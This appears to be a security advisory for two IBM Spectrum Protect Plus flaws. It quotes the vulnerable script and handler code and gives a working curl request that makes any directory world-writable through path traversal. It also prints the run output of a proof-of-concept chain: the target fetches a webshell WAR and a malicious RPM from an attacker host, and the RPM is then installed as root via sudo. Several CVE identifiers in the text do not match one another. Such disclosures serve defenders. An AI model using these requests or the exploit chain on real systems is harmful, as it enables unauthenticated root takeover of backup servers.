CVE-2020-4711
The flaw exists in /opt/ECX/tools/scripts/restore_wrapper.sh, where a directory path check can be bypassed via path traversal (i.e.,/tmp/../any/dir/in/the/file/system):
...
if [ ${mode} == "initialize" ]; then
if [ $# -ne 2 ]; then
logMsg "$0 incorrect number of arguments."
failed_exit
fi
if ! [[ $2 =~ ^/tmp/ ]] ; then
logMsg "Directory $2 is not allowed to use for restore."
failed_exit
fi
logMsg "Stopping virgo"
systemctl stop virgo
logMsg "Done stopping virgo"
sleep 5
chmod -R 777 $2
...
An unauthenticated, remote attacker can exploit this issue by sending a specially crafted HTTP request to URL endpoint https://<spp_host>:8090/catalogmanager/api/catalog, which doesn't require authentication when the cmode parameter is restorefromjob:
...
@CrossOrigin
@PostMapping({"/api/catalog"})
@SendTo({"/topic/catalogmanagerprogress"})
public HashMap<String, CommandOutput> manageCatalog(@RequestParam(value = "cmode", required = true) String cmode, @RequestParam(value = "ctarget", required = true) String ctarget, @RequestParam(value = "excludeFACatalog", required = false) boolean excludeFACatalog, @RequestHeader(value = "x-ac-sessionid", required = false) String sessionId) throws Exception {
if (cmode.equals("restorefromjob"))
return this.catalogManagerServiceImpl.restoreFromJob(ctarget);
if (isValidSessionId(sessionId)) {
...
The endpoint handler calls the com.catalogic.ecx.catalogmanager.domain.CatalogManagerServiceImpl.restoreFromJob method without checking for user credentials. The restoreFromJob method executes the /opt/ECX/tools/scripts/restore_wrapper.sh script as root, passing the attacker-controlled HTTP parameter ctarget/cRestoreTarget to the script:
public HashMap<String, CommandOutput> restoreFromJob(String cRestoreTarget) {
this.systemHelper.executeScript("sudo", "/opt/ECX/tools/scripts", "restore_wrapper.sh", new String[] { "initialize", cRestoreTarget });
this.systemHelper.executeScript("sudo", "/opt/ECX/tools/scripts", "managedb_wrapper.sh", new String[] { "--mode", "restore", "--restore-dir", cRestoreTarget, "--log", Constants.CATALOG_RESTORE_LOG_FILENAME });
return this.systemHelper.executeScript("sudo", "/opt/ECX/tools/scripts", "restore_wrapper.sh", new String[] { "finalize" });
}
This allows the attacker to perform a chmod -R 777 on any directory via path traversal:
curl -ki -d 'cmode=restorefromjob&ctarget=/tmp/../any/dir/in/the/file/system' https://<spp-host>:8090/catalogmanager/api/catalog
CVE-2020-4703
Exploiting CVE-2020-4770 involves two operations. The first operation is to upload a malicious RPM package to a directory writable by the administrator account by sending an HTTP POST message to URL endpoint https://<spp_host>:8090/api/plugin. The second operation is to install the malicious RPM by sending an HTTP POST message to URL endpoint http://<spp_host>:8090/emi/api/hotfix. On a vulnerable SPP host, authentication is not required for both operations. The fix for CVE-2020-4470 only addressed the second operation by enforcing authentication for the /emi/api/hotfix endpoint; it still allows unauthenticated arbitrary file upload to a directory writable by the administrator account, under which the endpoint handlers run.
When combining with vulnerability 1), an unauthenticated, remote attacker can upload any file to any directory on the remote SPP host, leading to an unauthenticated RCE. For example, the attacker can upload a malicious RPM package to /tmp (world writable) and a malicious war (web archive) file to /opt/virgo/pickup. The pickup directory is normally not writable by the administrator account, but the attacker can change the permission of the pickup directory to 777 using vulnerability 1). Once the war file is in the pickup directory, it triggers virgo to redeploy all artifacts (including the uploaded war) in the pickup directory. The war file contains a webshell (i.e., webshell.jsp) to be run under the virgo account, which can run /bin/rpm as root via sudo:
[root@spp-vm3 ~]# cat /etc/sudoers.d/ecx-sudoers | grep virgo
virgo ALL=NOPASSWD:/bin/rpm, /usr/bin/mount, /usr/bin/umount, /opt/ECX/tools/scripts/update_resolv.py, /opt/ECX/tools/scripts/update_aws_cert.py, /opt/ECX/tools/scripts/managedb_wrapper.sh, /opt/ECX/tools/scripts/prepare_backup.sh, /tmp
The attacker can put malicious content (i.e., scriptlets) in the RPM and and issue a 'sudo /bin/rpm -ivh /tmp/<uploaded_malicious_rpm>' command to the webshell, achieving unauthenticated RCE as root.
Here is a PoC, which writes the output of the id command to /tmp/hacked on a vulnerable remote SPP host:
root@host/work/spp# python3 ibm_spp_war_upload_rce.py <spp_host> attacker-rpm-1.0-0.noarch.rpm
Connecting to target <spp_host>:8090
Doing chmod -R 777 /opt/virgo/pickup on <spp_host>, could take a few minutes
Creating web archive file XXOC5L5DHHIG.war and tmp dir war_dir in the current directory
adding: webshell.jsp(in = 721) (out= 348)(deflated 51%)
adding: META-INF/(in = 0) (out= 0)(stored 0%)
adding: META-INF/MANIFEST.MF(in = 34) (out= 36)(deflated -5%)
Starting httpd on <attacker_host>:8080, DocumentRoot /work/spp
Requesting <spp_host> to download XXOC5L5DHHIG.war from <attacker_host>:8080
<spp_host> - - [29/Jul/2020 18:08:52] "GET /XXOC5L5DHHIG.war HTTP/1.1" 200 -
Requesting <spp_host> to download attacker-rpm-1.0-0.noarch.rpm from <attacker_host>:8080
<spp_host> - - [29/Jul/2020 18:08:52] "GET /attacker-rpm-1.0-0.noarch.rpm HTTP/1.1" 200 -
Waiting 360 seconds for virgo to redeploy artifacts in /opt/virgo/pickup (XXOC5L5DHHIG.war included)
Issuing command: https://<spp_host>/api/XXOC5L5DHHIG/webshell.jsp?cmd=sudo+%2Fbin%2Frpm+-ivh+%2Ftmp%2Fattacker-rpm-1.0-0.noarch.rpm
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
Command: sudo /bin/rpm -ivh /tmp/attacker-rpm-1.0-0.noarch.rpm<BR>
Preparing... ########################################
Updating / installing...
attacker-rpm-1.0-0 ########################################
</pre>
</BODY></HTML>
If there is no output for command sudo /bin/rpm -ivh /tmp/attacker-rpm-1.0-0.noarch.rpm, it is possible that virgo has not finished redeploying the artifacts. You may want to retry the command with curl -k https://<spp_host>/api/XXOC5L5DHHIG/webshell.jsp?cmd=sudo+%2Fbin%2Frpm+-ivh+%2Ftmp%2Fattacker-rpm-1.0-0.noarch.rpm at a later time.
If there is a command output, please check if /tmp/hacked was created by root on <spp_host>
Deleting tmp dir war_dir
Deleting web archive file XXOC5L5DHHIG.war